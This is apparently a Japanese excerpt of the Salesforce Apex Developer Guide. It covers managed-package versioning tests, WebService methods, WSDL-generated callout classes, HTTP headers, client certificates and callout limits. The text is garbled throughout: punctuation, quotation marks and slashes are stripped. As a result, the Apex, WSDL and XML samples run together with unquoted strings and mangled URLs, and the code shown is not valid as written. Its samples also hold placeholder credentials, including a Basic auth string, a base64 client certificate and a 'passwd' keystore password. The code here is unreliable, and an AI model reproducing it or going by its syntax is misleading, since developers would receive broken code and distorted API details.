パッケージ開発者は次の項目の追加または変更することはできません

bull global

bull virtual

パッケージ開発者は webServiceキーワードを追加できますがいったん追加すると削除することはできません

メモ 管理パッケージコードの webServiceメソッドまたは変数を廃止することはできません

管理パッケージでの Apex の開発 Version 180 | バージョニングされていない Apex コードの項目 | 168

パッケージバージョンの動作のテスト異なるパッケージバージョンの Apex クラスまたはトリガの動作を変更する場合異なるパッケージバージョンで期待されているようにコードをテストすることが重要ですシステムメソッドをrunAsを使用してパッケージバージョンコンテキストを異なるパッケージバージョンに変更するテストメソッドを作成できますrunAs

はテストメソッドでのみ使用できますこのメソッドはテストメソッドのPackageVersionRequestオブジェクトとして効果的に設定します

次の例は異なるパッケージバージョンの異なる動作のトリガを示します

trigger oppValidation on Opportunity (before insert before update)

for(Opportunity o Triggernew)

Add a new validation to the package Applies to versions of the managed package greaterthan 10 If(PackageVersionRequestisGreaterThan(PackageVersion10)) If(oProbabilitygt= 50 ampamp oDescription == NULL) oaddError(All deals over 50 require a description)

Add a new validation to the package This validation applies to all versions of themanaged packageIf(oIsWon == true ampamp oLeadSource == NULL) oaddError(A lead source mustbe provided for all Closed Won deals)

次のテストクラスはトリガの動作を確認します

isTest public class OppTriggerTests

static testMethod void testOppValidation()

Set up 50 opportunity with no description Opportunity o = new Opportunity() oName =Test Job oProbability = 50 oStageName = Prospect oCloseDate = Systemtoday()

Test running as latest package version try insert o catch(SystemDMLException e)Systemassert( egetMessage()contains( All deals over 50 require a description)egetMessage())

Run test as managed package version 10 SystemrunAs(PackageVersion10) try inserto catch(SystemDMLException e) Systemassert(false egetMessage())

Set up a closed won opportunity with no lead source o = new Opportunity() oName = TestJob oProbability = 50 oStageName = Prospect oCloseDate = Systemtoday() oStageName= Closed Won

Test running as latest package version try insert o catch(SystemDMLException e)Systemassert( egetMessage()contains( A lead source must be provided for all Closed Wondeals) egetMessage())

Run test as managed package version 10 SystemrunAs(PackageVersion10) try inserto catch(SystemDMLException e) Systemassert( egetMessage()contains( A lead sourcemust be provided for all Closed Won deals) egetMessage())

管理パッケージでの Apex の開発 Version 180 | パッケージバージョンの動作のテスト | 169

第 10 章

Apex メソッドの Web サービスとしての公開

外部アプリケーションがコードおよびアプリケーションにアクセスできるようApex メソッドを公開できますApex メソッドを公開するにはWebService メソッドを使用します

トピック

bull WebService メソッド

ヒント Apex Web サービスを使用すると外部アプリケーションは Web サービスを使用して Apex メソッドを呼び出すことができますApex コールアウトを使用するとApex は外部 Webまたは HTTP サービスを呼び出すことができます

WebService メソッド

ApexクラスメソッドはカスタムのForcecom Web サービスAPIコールとしての表示が可能ですこれにより外部アプリケーションが Apex Web サービスを実行しSalesforcecom でアクションを実行できるようになりますこれらのメソッドの定義には webServiceキーワードを使用します例

global class MyWebService webService static Id makeContact(String lastName Account a) Contact c = new Contact(lastName = Weissman AccountId = aId) insert c return cid

外部アプリケーションの開発者はクラスの WSDL を生成してwebServiceメソッドを含む Apex クラスと統合できますApex クラス詳細ページから WSDL を生成する手順は次のとおりです

1 アプリケーションで[設定] [開発] [Apex クラス] をクリックします2 webServiceメソッドを含むクラス名をクリックします3 [WSDL の生成] をクリックします

WebService メソッドによるデータの公開カスタム webServiceメソッドの呼び出しには必ず System コンテキストを使用しますその結果現在のユーザーの証明書は使用されずこれらのメソッドにアクセスできるユーザーが権限項目レベルのセキュリティ共有ルールに関係なく全機能を使用できますwebServiceキーワードでメソッドを公開する開発者は機密情報データを不注意に公開しないよう注意する必要があります

警告 with sharingキーワードを使用して定義されたクラスにメソッドが含まれていない場合webServiceキーワードにより API を介して公開する Apex クラスメソッドではレコードのオブジェクト権限項目レベルのセキュリティ共有ルールを参照しません with sharingを使用して定義されたクラスだけが現在のユーザの共有ルールに関係します

WebServiceキーワード使用に関する考慮事項webServiceキーワードを使用する場合次の考慮事項について注意してください

bull クラスの定義には webServiceキーワードを使用できませんただし最上位の外部クラスメソッドと内部クラスメソッドを定義するために使用できます

bull webServiceキーワードを使用してインターフェースを定義またはインターフェースのメソッドおよび変数を定義することはできません

bull システム定義の enum は Web サービスメソッドで使用することはできませんbull トリガのメソッドを定義できないためトリガに webServiceキーワードを使用できませんbull webServiceキーワードと共に定義されているメソッドを含むすべてのクラスは globalとして宣言する必要

がありますメソッドまたは内部クラスを globalとして宣言した場合外部のトップレベルクラスもglobalとして宣言する必要があります

bull webServiceキーワードで定義されるメソッドは本質的にグローバルですこれらのメソッドをクラスにアクセスできる Apex スクリプトで使用できますwebServiceキーワードをglobalより多くのアクセスを可能にするアクセス変更子の種類として検討することができます

bull webServiceキーワードを使用するメソッドを staticとして定義する必要があります

Apex メソッドの Web サービスとしての公開 Version 180 | WebService メソッド | 171

bull 管理パッケージコードの webServiceメソッドまたは変数を廃止することはできませんbull 特定の Apex 要素に SOAP アナログがないためwebServiceキーワードで定義されたメソッドは次の要素

をパラメータとして使用することはできませんこれらの要素はメソッド内で使用できますが戻り値としてマークすることはできません

- Map- Sets- Pattern オブジェクト- Matcher オブジェクト- 例外オブジェクト

bull webServiceキーワードはWeb サービスの一部として公開するメンバー変数で使用する必要がありますこれらのメンバー変数を staticとマークすることはできません

bull Salesforcecom はアクセスが Restrictedになっている AppExchange パッケージからの Web サービスへのアクセスと executeanonymous要求を拒否します

bull 項目に割り当てた文字列値が長すぎる場合APIバージョン 150 以上を使用して保存 (コンパイル) したApexクラスにはランタイムエラーが発生します

次の例はWeb サービス変数と Web サービスメソッドを持つクラスを示しています

global class SpecialAccounts

global class AccountInfo WebService String AcctName WebService Integer AcctNumber

WebService static Account createAccount(AccountInfo info) Account acct = new Account()acctName = infoAcctName acctAccountNumber = StringvalueOf(infoAcctNumber) insertacct return acct

WebService static Id [] createAccounts(Account parent Account child Account grandChild)

insert parent childparentId = parentId insert child grandChildparentId = childIdinsert grandChild

Id [] results = new Id[3] results[0] = parentId results[1] = childId results[2] =grandChildId return results

TestMethod static void testAccountCreate() AccountInfo info = new AccountInfo()infoAcctName = Manoj Cheenath infoAcctNumber = 12345 Account acct =SpecialAccountscreateAccount(info) Systemassert(acct = null)

AJAX を使用してこの Web サービスを呼び出すことができます詳細は「AJAX のApex」 (ページ 82)を参照してください

Web サービスメソッドのオーバーロードSOAP およびWSDL ではメソッドをオーバーロードできませんその結果ApexではwebServiceキーワードでマークされた 2 つのメソッドに同じ名前を付けることはできません同じクラスで同じ名前を持つWeb サービスメソッドを使用するとコンパイル時エラーが発生します

Apex メソッドの Web サービスとしての公開 Version 180 | Web サービスメソッドのオーバーロード | 172

第 11 章

Apex を使用したコールアウトの呼び出し

Apex コールアウトを使用して外部 Web サービスへのコールを作成またはApexスクリプトから HTTP 要求を送信して応答を受信すること

トピック

bull リモート サイト設定の追加 によってApex を外部サービスとを密接に統合することができますbull SOAP サービス WSDL ドキュメ

ントからのクラスの定義Apex はSOAP および WSDLまたは HTTP サービス (RESTful サービス) を使用する Web サービスと統合できます

bull HTTP コールアウトの呼び出し メモ Apex コールアウトが外部サイトを呼び出す前にそのサイトを [リモートサイトの設定] ページで登録する必要がありまbull 証明書の使用

bull コールアウトの制限 す登録しない場合コールアウトが失敗しますSalesforcecomでは認証されていないネットワーク アドレスへのコールが行われないようにします

2 種類のコールアウトの詳細は次の項目を参照してください

bull SOAP サービス WSDL ドキュメントからのクラスの定義 (ページ174)

bull HTTP コールアウトの呼び出し (ページ 181)

ヒント コールアウトによってApex は外部 Web または HTTPサービスを呼び出すことができますApex Web サービスを使用すると外部アプリケーションはWeb サービスを使用して Apexメソッドを呼び出すことができます

リモートサイト設定の追加

Apex コールアウトが外部サイトを呼び出す前にそのサイトを [リモートサイトの設定] ページで登録する必要があります登録しない場合コールアウトが失敗しますSalesforcecomでは認証されていないネットワークアドレスへのコールが行われないようにします

リモートサイト設定を追加する手順は次のとおりです

1 [設定] [セキュリティのコントロール] [リモートサイト設定] をクリックします2 [新規リモートサイト] をクリックします3 [リモートサイト名]には分かりやすい名前を入力してください4 リモートサイトの URL を入力します5 必要に応じてサイトの説明を入力します6 [保存] をクリックします

SOAP サービス WSDL ドキュメントからのクラスの定義

クラスはローカルハードドライブやネットワークに保管されている WSDL ドキュメントから自動的に生成されます WSDL ドキュメントを使ってクラスを作成すると開発者は Apex スクリプトの中で外部 Web サービスを呼び出すことができます

メモ 可能な場合にはアウトバウンドメッセージを使用して統合ソリューションを処理します必要な場合に限りサードパーティの Web サービスの呼び出しを使用します

WSDL から Apex クラスを作成する手順は次のとおりです

1 アプリケーションで[設定] [開発] [Apex クラス] をクリックします2 [WSDL からの生成] をクリックします3 [参照] をクリックしてローカルハードドライブまたはネットワーク上の WSDL ドキュメントを選択する

かフルパスを入力しますこの WSDL ドキュメントが作成する Apex クラスの基礎となりますが1 MB以下である必要があります

メモ

指定した WSDL ドキュメントに送信ポートを参照する SOAP エンドポイントの場所が記載されている場合があります

セキュリティ上の理由からSalesforcecom では指定できる送信ポートを次の 1 つに制限します

bull 80 このポートはHTTP 接続のみを受け付けますbull 443 このポートはHTTPS 接続のみを受け付けますbull 7000-10000 (7000 と 10000 も含む) これらのポートはHTTP 接続または HTTPS 接続を受け付け

ます

4 [WSDL を解析] をクリックしてWSDL ドキュメントの内容を確認しますアプリケーションがWSDLドキュメント内の名前空間それぞれのデフォルトクラス名を生成しエラーがあれば報告しますWSDL に

Apex を使用したコールアウトの呼び出し Version 180 | リモート サイト設定の追加 | 174

Apex クラスがサポートしていないスキーマタイプまたはスキーマ構造が含まれているか結果生成されるクラス名が100000文字というApexクラスの制限を超える場合には解析は失敗しますたとえばSalesforcecomSOAP API WSDL は解析できません

5 必要に応じてそのクラス名を変更しますそれぞれの名前空間に対して同じクラス名を使用することにより1 つのクラスに複数の WSDL 名前空間を保存できますがApex クラスは合計 100000 文字以内にしてください

6 [Apex の生成] をクリックしますウィザードの最終ページにはどのクラスが正常に生成されたか他のクラスからのエラーがあればそれも含めて表示されます生成が成功した場合には生成されたコードを表示するためのリンクも示されます

正常に生成された Apex クラスにはWSDL ドキュメントで示されていたサードパーティ Web サービスを呼び出すスタブとタイプクラスが含まれていますこれらのクラスによりApex から外部の Web サービスを呼び出すことができますWeb サービスコールの SOAP 要求および応答は 1 MB 以下に制限されています

生成された Apex については次の点にご注意ください

bull WSDL ドキュメントに Apex の予約語が含まれている場合はApex クラスが生成されるときにその語の後ろに「_x」が付きますたとえばWSDL ドキュメントに「limit」があると生成されるApexクラスでは「limit_x」になります「予約キーワード (ページ397)」を参照してくださいApex変数名でサポートされていない WSDL の要素名の文字の処理の詳細については「WSDL 使用についての考慮事項 (ページ 180)」を参照してください

bull WSDL の操作に複数の要素がある出力メッセージがある場合生成された Apex は内部クラスの要素をラップしますWSDL 操作を示す Apex メソッドは各要素の代わりに内部クラスを返します

WSDL からクラスを生成したあとWSDL で参照される外部サービスを呼び出すことができます

メモ このトピックの残りのサンプルを使用する前に「生成されるコードについて」から Apex クラスdocSampleClassをコピーして組織に追加する必要があります

外部サービスの呼び出しWSDL ドキュメントを使用して Apex クラスを生成した後外部サービスを呼び出すにはApex スクリプトにstub のインスタンスを作成してそれにメソッドをコールしますたとえばApexから StrikeIron IP アドレス検索サービスを呼び出すために次のようなスクリプトを作成することができます

stub を作成 strikeironIplookupDNSSoap dns = new strikeironIplookupDNSSoap()

ライセンスのヘッダーを設定 dnsLicenseInfo = new strikeironLicenseInfo()dnsLicenseInfoRegisteredUser = new strikeironRegisteredUser()dnsLicenseInfoRegisteredUserUserID = youcompanycomdnsLicenseInfoRegisteredUserPassword = your-password

Web サービスコールを作成 strikeironIplookupDNSInfo info = dnsDNSLookup(wwwmynamecom)

HTTP ヘッダーのサポートWeb サービスコールアウトに HTTP ヘッダーを設定できるようになりましたたとえばこの機能を使用して認可ヘッダーに Cookie の値を設定できますHTTP ヘッダーを設定するにはinputHttpHeaders_xおよびoutputHttpHeaders_xをスタブに追加します

Apex を使用したコールアウトの呼び出し Version 180 | 外部サービスの呼び出し | 175

メモ API バージョン 160 より前ではコールアウト HTTP 応答はコンテンツタイプのヘッダーに関係なく UTF-8 を使用してデコードされますAPI バージョン 170 移行ではHTTP 応答はコンテンツタイプのヘッダーで指定されたエンコードを使用してデコードされます

次のサンプルでは「生成されるコードについて」 (ページ178)のサンプルWSDL ファイルを使用しています

Web サービスコールアウトの HTTP ヘッダーの送信

docSampleDocSamplePort stub = new docSampleDocSamplePort() stubinputHttpHeaders_x = newMapltString Stringgt()

基本認証ヘッダーの設定

stubinputHttpHeaders_xput(Authorization Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==)

クッキーヘッダーの設定 stubinputHttpHeaders_xput(Cookie name=value)

カスタム HTTP ヘッダーの設定 stubinputHttpHeaders_xput(myHeader myValue)

String input = This is the input string String output = stubEchoString(input)

inputHttpHeaders_xの値を指定すると標準ヘッダーセットを上書きします

Web サービスコールアウトレスポンスからの HTTP レスポンスヘッダーのアクセス

docSampleDocSamplePort stub = new docSampleDocSamplePort() stuboutputHttpHeaders_x =new MapltString Stringgt() String input = This is the input string String output =stubEchoString(input)

クッキーヘッダーの取得 String cookie = stuboutputHttpHeaders_xget(Set-Cookie)

カスタムヘッダーの取得 String myHeader = stuboutputHttpHeaders_xget(My-Header)

outputHttpHeaders_xのデフォルト値は null ですoutputHttpHeaders_xを設定してからレスポンスのヘッダーの内容にアクセスできます

サポートされた WSDL 機能Apex ではドキュメントリテラルでラップした WSDL スタイルと組み込みデータ型のみをサポートしています

Apex タイプスキーマタイプStringxsdanyURI

Booleanxsdboolean

Datexsddate

DatetimexsddateTime

Doublexsddouble

Doublexsdfloat

Integerxsdint

Apex を使用したコールアウトの呼び出し Version 180 | サポートされた WSDL 機能 | 176

Apex タイプスキーマタイプIntegerxsdinteger

Stringxsdlanguage

Longxsdlong

StringxsdName

StringxsdNCName

IntegerxsdnonNegativeInteger

StringxsdNMTOKEN

StringxsdNMTOKENS

StringxsdnormalizedString

StringxsdNOTATION

IntegerxsdpositiveInteger

StringxsdQName

Integerxsdshort

Stringxsdstring

Datetimexsdtime

Stringxsdtoken

IntegerxsdunsignedInt

LongxsdunsignedLong

IntegerxsdunsignedShort

メモ Salesforcecom データ型 anyType はAPI バージョン 150 以降を使用して保存される Apex コードを生成するときに使用する WSDL ではサポートされませんAPI バージョン 140 以前を使用して保存されるコードではanyType は String にマッピングされます

Apex では次のスキーマ構造をサポートしています

bull API バージョン 150 以上を使用して保存した Apex コードの xsdall

bull API バージョン 150 以上を使用して保存した Apex コードの xsdannotation

bull API バージョン 150 以上を使用して保存した Apex コードの xsdattribute

bull API バージョン 150 以上を使用して保存した Apex コードの xsdchoice

bull xsdelementAPI バージョン 150 以上を使用して保存した Apex コードではref属性が次の制限付きでサポートされます

- 名前空間を指定して異なる名前空間で refをコールできます- グローバル要素は refを使用できません- 要素に refが含まれている場合nameも typeを含むことはできません

bull xsdsequence

Apex を使用したコールアウトの呼び出し Version 180 | サポートされた WSDL 機能 | 177

次のデータ型はコールインとして使用されている場合つまり外部Web サービスがApex Web サービスメソッドをコールする場合にのみサポートされていますこれらのデータ型はコールアウトとして使用されている場合つまり Apex Web サービスメソッドが外部 Web サービスをコールする場合はサポートされていません

bull blobbull decimalbull enum

Apex は次のようなその他の WSDL コンストラクタデータ型サービスをサポートしていません

bull RPCエンコード化サービスbull 複数の portTypes複数のサービスまたは複数のバインドを含む WSDL サービスbull 外部スキーマをインポートする WSDL ファイルたとえば次の WSDL フラグメントはサポートされてい

ない外部スキーマをインポートします

ltwsdltypesgt ltxsdschema elementFormDefault=qualifiedtargetNamespace=https3amazonawscomdoc2006-03-01gt ltxsdincludeschemaLocation=AmazonS3xsdgt ltxsdschemagt ltwsdltypesgt

ただし同じスキーマ内のインポートはサポートされています次の例では外部 WSDL は変換しているWSDL に貼り付けられます

ltwsdltypesgt ltxsdschema xmlnstns=https3amazonawscomdoc2006-03-01xmlnsxsd=httpwwww3org2001XMLSchema elementFormDefault=qualifiedtargetNamespace=https3amazonawscomdoc2006-03-01gt

ltxsdelement name=CreateBucketgt ltxsdcomplexTypegt ltxsdsequencegt [] ltxsdschemagtltwsdltypesgt

bull 前の表に記載されていないスキーマタイプbull Salesforcecom WSDL などサイズ制限をこえた WSDL

生成されるコードについて次の例ではWSDL ドキュメントから Apex クラスがどのように作成されるかを示します次のコードではサンプル WSDL ドキュメントを示します

ltwsdldefinitions xmlnshttp=httpschemasxmlsoaporgwsdlhttpxmlnssoap=httpschemasxmlsoaporgwsdlsoap xmlnss=httpwwww3org2001XMLSchemaxmlnssoapenc=httpschemasxmlsoaporgsoapencodingxmlnstns=httpdocsamplecomdocSample targetNamespace=httpdocsamplecomdocSamplexmlnswsdl=httpschemasxmlsoaporgwsdlgt

lt-- Above the schema targetNamespace maps to the Apex class name --gt

lt-- Below the type definitions for the parameters are listedEach complexType and simpleTypeparameteris mapped to an Apex class inside the parent class for the WSDLThen each elementin the complexType is mapped to a public field inside the class --gt

ltwsdltypesgt ltsschema elementFormDefault=qualifiedtargetNamespace=httpdocsamplecomdocSamplegt ltselement name=EchoStringgtltscomplexTypegt ltssequencegt ltselement minOccurs=0 maxOccurs=1 name=inputtype=sstring gt ltssequencegt ltscomplexTypegt ltselementgt ltselementname=EchoStringResponsegt ltscomplexTypegt ltssequencegt ltselement minOccurs=0 maxOccurs=1name=EchoStringResult type=sstring gt ltssequencegt ltscomplexTypegt ltselementgtltsschemagt ltwsdltypesgt

Apex を使用したコールアウトの呼び出し Version 180 | 生成されるコードについて | 178

lt--The stub below defines operations --gt

ltwsdlmessage name=EchoStringSoapIngt ltwsdlpart name=parameters element=tnsEchoStringgt ltwsdlmessagegt ltwsdlmessage name=EchoStringSoapOutgt ltwsdlpart name=parameterselement=tnsEchoStringResponse gt ltwsdlmessagegt ltwsdlportType name=DocSamplePortTypegtltwsdloperation name=EchoStringgt ltwsdlinput message=tnsEchoStringSoapIn gt ltwsdloutputmessage=tnsEchoStringSoapOut gt ltwsdloperationgt ltwsdlportTypegt

lt--The code below defines how the types map to SOAP --gt

ltwsdlbinding name=DocSampleBinding type=tnsDocSamplePortTypegt ltwsdloperationname=EchoStringgt ltsoapoperationsoapAction=urndotnetcallouttestsoapsforcecomEchoString style=document gtltwsdlinputgt ltsoapbody use=literal gt ltwsdlinputgt ltwsdloutputgt ltsoapbody use=literalgt ltwsdloutputgt ltwsdloperationgt ltwsdlbindinggt

lt-- Finally the code below defines the endpoint which maps to the endpoint in the class--gt

ltwsdlservice name=DocSamplegt ltwsdlport name=DocSamplePortbinding=tnsDocSampleBindinggt ltsoapaddresslocation=httpwwwqaresponderinfoWebServicesDocSampleasmx gt ltwsdlportgtltwsdlservicegt ltwsdldefinitionsgt

この WSDL ドキュメントから次の Apex クラスを生成することができます

Generated by wsdl2apex

public class docSample

public class EchoStringResponse_element

public String EchoStringResult

private String[] EchoStringResult_type_info = new String[] EchoStringResulthttpwwww3org2001XMLSchema string01false

private String[] apex_schema_type_info = new String[] httpdocsamplecomdocSampletrue

private String[] field_order_type_info = new String[] EchoStringResult

public class DocSamplePort

public String endpoint_x = httpwwwqaresponderinfoWebServicesDocSampleasmx

private String[] ns_map_type_info = new String[] httpdocsamplecomdocSampledocSample

public String EchoString(String input) docSampleEchoString_element request_x = newdocSampleEchoString_element() docSampleEchoStringResponse_element response_xrequest_xinput = input MapltString docSampleEchoStringResponse_elementgt response_map_x= new MapltString docSampleEchoStringResponse_elementgt() response_map_xput(response_xresponse_x) WebServiceCalloutinvoke( this request_x response_map_x newString[]endpoint_x urndotnetcallouttestsoapsforcecomEchoStringhttpdocsamplecomdocSample EchoString httpdocsamplecomdocSampleEchoStringResponse docSampleEchoStringResponse_element ) response_x =response_map_xget(response_x) return response_xEchoStringResult

public class EchoString_element

public String input private String[] input_type_info = new String[] inputhttpwwww3org2001XMLSchema string01false private String[]

Apex を使用したコールアウトの呼び出し Version 180 | 生成されるコードについて | 179

apex_schema_type_info = new String[] httpdocsamplecomdocSample true privateString[] field_order_type_info = new String[]input

元の WSDL ドキュメントからの次のマッピングに注意してください

bull WSDL ターゲット名前空間は Apex クラス名にマップしますbull 複雑なデータ型はクラスになりますデータ型の各要素はクラスの公開項目ですbull WSDL ポート名は stub クラスにマップしますbull WSDL の各処理は公開メソッドにマップします

上記で生成されたクラスを使用して外部 Web サービスを呼び出すことができます次のコードは外部サーバーで echoStringメソッドをどのようにコールするかを示しています

docSampleDocSamplePort stub = new docSampleDocSamplePort() String input = 入力文字列ですString output = stubEchoString(input)

WSDL 使用についての考慮事項WSDL から Apex クラスを生成する場合次の点に注意してください

ヘッダーのマッピング

WSDL ドキュメントで定義されているヘッダーは生成されたクラスの stub の公開項目となりますこれはAJAX Toolkit および Net と同様です

ランタイムイベントについて

Apex スクリプトが外部サービスへのコールアウトを作成している場合次のことがチェックされます

bull 要求サイズが 1 MB 未満であることbull 応答サイズが 1 MB 未満であることbull HTTP 要求またはWeb サービスコールを作成する場合のタイムアウト制限の詳細は「コールアウトの制限

(ページ 184)」を参照してくださいbull Apex クラスでは循環参照が無効であることbull Salesforcecom ドメインへの複数のループバック接続が無効であることbull エンドポイントにアクセスする場合[設定] [セキュリティ] [リモートサイト設定] で登録することbull データベース接続が停止しないようトランザクションが開かれないこと

変数名でサポートされていない文字について

WSDL ファイルにはApex変数名で使用できない要素名を使用することができますWSDL ファイルからApex変数名を生成する場合次のルールが適用されます

bull 要素名の最初の文字がアルファベットでない場合x文字が生成された Apex 変数名の先頭に追加されますbull 要素名の最後の文字が Apex 変数名で使用できない場合x文字が生成された Apex 変数名に追加されますbull 要素名に Apex 変数名で使用できない文字が含まれている場合その文字は (_) 文字に置き換えられますbull 要素名に Apex 変数名で使用できない文字が 1 行に 2 文字含まれている場合最初の文字はアンダースコア

(_) 文字に置き換えられ2 番目の文字は x文字に置き換えられますこれによりApex では使用できない 2つの連続したアンダースコアで変数名が生成されないようにします

Apex を使用したコールアウトの呼び出し Version 180 | WSDL 使用についての考慮事項 | 180

bull 2 つのパラメータa_および a_xを使用する処理があるとします生成されたApexには 2 つの変数がありいずれもa_xという名前ですクラスはコンパイルしません手動でApexを編集しいずれかの変数名を変更する必要があります

WSDL ファイルから生成したクラスのデバッグ

Forcecom Web サービスNetおよび Axis を使用してコードをテストします他のツールを使用する場合問題が発生する場合があります

デバッグヘッダーを使用して要求の XML を返しSOAP メッセージに応答して問題の検出を行います詳細は「Apex の Web サービス API コールと SOAP ヘッダー」 (ページ 406)を参照してください

HTTP コールアウトの呼び出し

Apex ではHTTP サービスを使用しGETPOSTPUTおよび DELETE のような HTTP 要求を作成する組み込みクラスをいくつか提供します

これらの HTTP クラスを使用してREST ベースのサービスに統合できますWSDL からApexスクリプトを生成する別のオプションとしてSOAP ベースの Web サービスに登場することもできますWSDL で開始する代わりに HTTP クラスを使用して要求および応答の SOAP メッセージの構造をより高度に処理します

詳細およびサンプルは「HTTP (RESTful) サービスクラス」 (ページ349)を参照してくださいまたForcecomToolkit for Google Data APIs を HTTP コールアウトの使用を拡張します

証明書の使用

コールアウトによって Salesforcecomで生成されたまたは認証機関 (CA) が署名した証明書を送信して双方向の SSL 認証を使用できますコールアウトの対象が証明書を受け取るとセキュリティが拡張され証明書を使用して要求をキーストアに対して認証できます

コールアウトの双方向 SSL 認証を有効にする手順は次のとおりです

1 証明書を生成します2 証明書をコードと統合します「SOAP サービスでの証明書の使用」および「HTTP 要求での証明書の使用」

を参照してください3 サードパーティに接続し自己署名の証明書を使用している場合Salesforcecom 証明書を共有し証明書を

キーストアに追加できるようにします組織内で使用される別のアプリケーションに接続している場合クライアント証明書を要求するようWeb またはアプリケーションサーバーを設定しますこのプロセスは使用する Web サーバーまたはアプリケーション サーバーの種類によって異なりますJava の Tomcat を使用して両方向 SSL を設定する方法についてその例がhttpwwwvorburgerchblog1200608setting-up-two-way-mutual-ssl-withhtml のブログに投稿されています

4 コールアウトのリモートサイト設定を設定しますApexコールアウトが外部サイトを呼び出す前にそのサイトを [リモートサイトの設定] ページで登録する必要があります登録しない場合コールアウトが失敗します

Apex を使用したコールアウトの呼び出し Version 180 | HTTP コールアウトの呼び出し | 181

証明書の生成Salesforcecom で生成された自己署名証明書または認証機関 (CA) で署名された証明書を使用できますコールアウトの証明書を生成する手順は次のとおりです

1 外部 Web サイトが自己署名の証明書を承認するかどうかまたは CA の署名が必要かどうかに基づいて作成する証明書の種類を決定します証明書を作成した後に証明書の種類を変更することはできません

2 [設定] [セキュリティコントロール] [証明書およびキーの管理] をクリックし[自己署名証明書の作成]または [CA 署名の証明書を作成] をクリックします証明書の種類を選択します後で変更することはできません

3 Salesforcecom 証明書の説明ラベルを入力しますこの名前は証明書を参照する場合主に管理者によって使用されます

4 一意名を入力します入力した証明書ラベルに従って名前が自動的に入力されますこの名前はアンダースコアと英数字のみを含み組織内で一意の名前にする必要があります最初は文字であることスペースは使用しない最後にアンダースコアを使用しない2 つ続けてアンダースコアを使用しないという制約がありますForcecom Web サービス API または Apex を使用して証明書を参照する場合一意名を使用します

5 生成した証明書およびキーのキーサイズを選択します1024を選択すると1024 ビットのキーを使用する証明書を生成し1 年間有効です2048を選択すると2048 ビットのキーを使用する証明書を生成し2 年間有効ですセキュリティ上の理由により2048を指定することをお勧めします

メモ Salesforcecom 証明書を保存するとキーサイズは変更できません

6 CA 署名証明書を作成している場合次の情報も入力する必要がありますこれらの項目を結合して一意の証明書を生成します

説明項目

署名付き証明書を要求する会社の完全修飾名形式は通常httpwwwmycompanycomとなります

Common Name

証明書に関連する電子メールアドレスEmail Address

会社の法律上の名前Company

マーケティング会計など証明書を使用する会社の部署

Department

会社がある都市City

会社がある州State

会社がある国を示す 2 文字のコードアメリカ合衆国の場合値は USです

Country Code

7 [保存] をクリックします

正常に Salesforcecom 証明書を保存した後証明書および対応するキーが自動的に生成されます

CA 署名証明書を作成した後使用する前に署名付き証明書をアップロードする必要がありますSalesforcecomオンラインヘルプの「CA 署名証明書のアップロード」を参照してください

Apex を使用したコールアウトの呼び出し Version 180 | 証明書の生成 | 182

SOAP サービスでの証明書の使用Salesforcecomで証明書を生成した後SOAP Web サービスへのコールアウトの双方向認証をサポートできます

証明書を Apex を統合する手順は次のとおりです

1 他社から Web サービスから WSDL を受け取るか接続するアプリケーションから生成します2 Web サービスの WSDL から Apex クラスを生成します「SOAP サービス WSDL ドキュメントからのクラ

スの定義 (ページ 174)」を参照してください3 生成された Apex クラスにはWSDL ドキュメントで示されていた他社の Web サービスを呼び出すスタブが

含まれていますApexクラスを編集し値をスタブクラスのインスタンスのclientCertName_x変数に割り当てます値は [設定] [セキュリティコントロール] [証明書とキーの管理] を使用して生成した証明書の一意名と一致する必要があります

次の例では前の手順の最後のステップを説明し「生成されるコードについて」 (ページ178)のサンプルWSDLファイルを使用していますこの例ではDocSampleCertの一意名で証明書を生成したと想定します

docSampleDocSamplePort stub = new docSampleDocSamplePort() stubclientCertName_x =DocSampleCert String input = これは入力文字列です String output = stubEchoString(input)

組織のサードパーティから取得した証明書を使用する従来のプロセスがありますbase64 でクライアント証明書のキーをエンコードしstub のclientCert_x変数に割り当てますプライベートキーを保護するセキュリティのベストプラクティスに従っていないためSalesforcecom 証明書を使用するより安全性が低くなりますSalesforcecom 証明書を使用する場合プライベートキーは Salesforcecom の外部に保存されません

メモ [設定] [開発] [API] [クライアント証明書の生成]で生成したクライアント証明書は使用しないでください従来のプロセスを使用する場合組織のサードパーティから取得された証明書を使用する必要があります

次の例では従来のプロセスを説明し「生成されるコードについて」 (ページ178)のサンプルWSDL ファイルを使用しています

docSampleDocSamplePort stub = new docSampleDocSamplePort() stubclientCert_x =MIIGlgIBAzCCBlAGCSqGSIb3DQEHAaCCBkEEggY9MIIGOTCCAe4GCSqGSIb3DQEHAaCCAd8EggHb+MIIB1zCCAdMGCyqGSIb3DQEMCgECoIIBgjCCAX4wKAYKKoZIhvcNAQwBAzAaBBSaUMlXnxjzpfdu+6YFwZgJFMklDWFyvCnQeuZpN2E+Rb4rf9MkJ6FsmPDA9MCEwCQYFKw4DAhoFAAQU4ZKBfaXcN45w+9hYm215CcA4n4d0EFJL8jr68wwKwFsVckbjyBzzYHO6AgIEAA==

キーストアのパスワード stubclientCertPasswd_x = passwd

String input = This is the input string String output = stubEchoString(input)

HTTP 要求での証明書の使用Salesforcecom で証明書を生成した後HTTP 要求へのコールアウトの双方向認証をサポートできます

証明書を Apex を統合する手順は次のとおりです

1 証明書を生成します証明書の一意名を入力します2 Apex でHttpRequestクラスの setClientCertificateNameメソッドを使用しますこのメソッドの引数

に使用される値は前のステップで生成された証明書の一意名に一致しなければなりません

Apex を使用したコールアウトの呼び出し Version 180 | SOAP サービスでの証明書の使用 | 183

次の例は前述の手順の最後のステップを示しますこの例ではDocSampleCertの一意名で証明書を生成したと想定します

HttpRequest req = new HttpRequest() reqsetClientCertificateName(DocSampleCert)

コールアウトの制限

Apex スクリプトでHTTP 要求または Web サービスコールに対するコールアウトを実行する場合に次の制限が適用されますWeb サービスは Forcecom Web サービス API コールの場合または外部 Web サービスコールの場合があります

bull 1 つの Apex トランザクションでHTTP 要求または API コールに対するコールアウトを最大 10 回実行できます

bull HTTP サービスまたは Web サービスのコールアウトの要求または応答の最大サイズは 1 MB ですbull デフォルトのタイムアウトが 10 秒であることカスタムタイムアウトはコールアウトごとに定義できます

最小値は 1 ミリ秒最大値は 60 秒ですWeb サービスまたは HTTP コールアウトのカスタムタイムアウトの設定方法については次の例を参照してください

bull 1 つの Apex トランザクションによる各コールアウトのタイムアウトの累積値は最大 120 秒です累積値とは特定のApexトランザクションによって呼び出されたすべてのコールアウトのタイムアウトを合計した値です

次にWeb サービスコールアウトのカスタムタイムアウトの設定についての例を示します

